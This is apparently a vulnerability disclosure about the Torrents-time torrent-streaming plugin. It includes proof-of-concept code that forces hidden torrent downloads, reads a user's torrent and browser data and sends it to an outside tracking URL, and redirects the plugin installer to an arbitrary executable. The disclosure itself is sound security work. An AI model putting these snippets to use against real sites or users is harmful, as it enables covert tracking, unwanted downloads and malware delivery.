Torrents-time Security Issues
A “new” method of streaming torrents in your web browser, based around existing technologies Torrents-time was quickly adopted by a majority of torrent sites due to its ability to embed a player on the page to stream video content from torrents.
Torrents-time bind the following ports
https://localhost.ttconfig.xyz:12400/api.js
https://127.0.0.1:12400/api.js - leads to a insecure https connection, it listens for request.
https://localhost.ttconfig.xyz:12400/vpnpropmt?version=r1 - block this and all things related to it. Anonymous VPN are very untrustworthy and make you the product.
3rd parties being called (why would you do this)
Profiting from VPN “partnership”, trusting a random VPN service is a writeup for another day.
This service stupidly abuses CORS, even worse it exposes a CORS enabled XHR object after requesting an instance of the plugin. So lets take advantage of that.
We don’t need anything more to do this attack than
<html> <title>Hello World</title> <head lang="en"> <script src="torrents.js"></script> <script src="https://localhost.ttconfig.xyz:12400/api.js"></script> <script src="attack.js"></script> <meta charset="UTF-8"> <title></title> </head> <body> </body> </html>
Where torrents.js is their CDN code, once we have the first two scripts loaded attack.js can make use of all of torrentsTime useful functions on any page.
So in a few seconds we can get torrentTime on any HTML5 page, that's great!
Except now I’m free to do a few things.
Concern 1 - Forced Piracy
Because I can make an invisible player, I’m free to force you to torrent whatever I like, even if you had no intention of streaming said content with a line of code
torrentsTime.instances.i0.start();
Great, you were just forced to torrent illegal content insecurely. You can do this for an unlimited amount of content. I can use any publisher ID as well.
Concern 2 - User Tracking/Privacy
Lets say I’m an advertiser/group with access to javascript on a website, with a few lines of code, not only can I tell who you are, I can send all that data using torrentsTime very exposed xhr object.
function driveBy() { //Torrents-time detected! //i0 is the first instance, loop over instances to get all currently started torrents var torrentTitle = torrentsTime.instances.i0.setup.title; var browser = torrentsTime.instances.i0.setup.browser; var filetype = torrentsTime.instances.i0.setup.fileType; //any other code we want to do on the page //this supports callback/JSONP //use the exposed xhr torrentsTime.utils.xhr("https://andrew.im/sandbox/tracktt.php?title=" + torrentTitle + "&browser=" + browser + "&filetype=" +filetype, callback); } function callback(data) { console.log(data); }
Concern 3 - Even more privacy issues
Every time you make a request to the CDN the following data is logged by Torrents-time servers
IP, location (country), user agent, cookies, and and likely the exact page you requested the CDN from. Further more within the C code you can see the use of private keys masking SOMETHING which does indeed make http request, I've yet to break this.
Concern 4 - It runs as root on OSX
It runs as root on OSX. I really don't need to say more.
Concern 5 - Redirect Plugin DownloadX
Redirecting the download for the plugin is again only a single line of code torrentsTime.setup.installerURL.windows = "https://andrew.im/sandbox/torrentsTime-download.exe"; After that you just fire torrentsTime.downloadInstaller(); Or when a user clicks the plugin download, they will be greeted with a legit looking prompt
Of course the application isn't the installer for the plugin, its your own application.
Seems just about every site with TT installed is vunerable to XSS now.
Concern 7 - Sky rocket cpu usage/crash it
Literally just ping the server with 1024 bytes and the cpu usage stays between 50% and 80%, no idea why this one even occurs. Program later crashes when sending random strings, so possible bufferoverflow waiting to be exploited.
Concern 8 - Bundled Certs
includes the private keys to their for 'encrypted' comms channel. Details here UPDATE their cert for localhost has been revoked.
You can download Torrents-time c-code here, as well as all the NODEJS used on your computer
https://mega.nz/#F!pklQQChQ!1VCTBgQQ9ticT8rm_TzGRw
Seriously, remove this software from your computer, if you put it on your site, remove it, if you think about adding it, don’t. More exploits coming soon!
Even more info written by /u/thecodingdude can be found on Reddit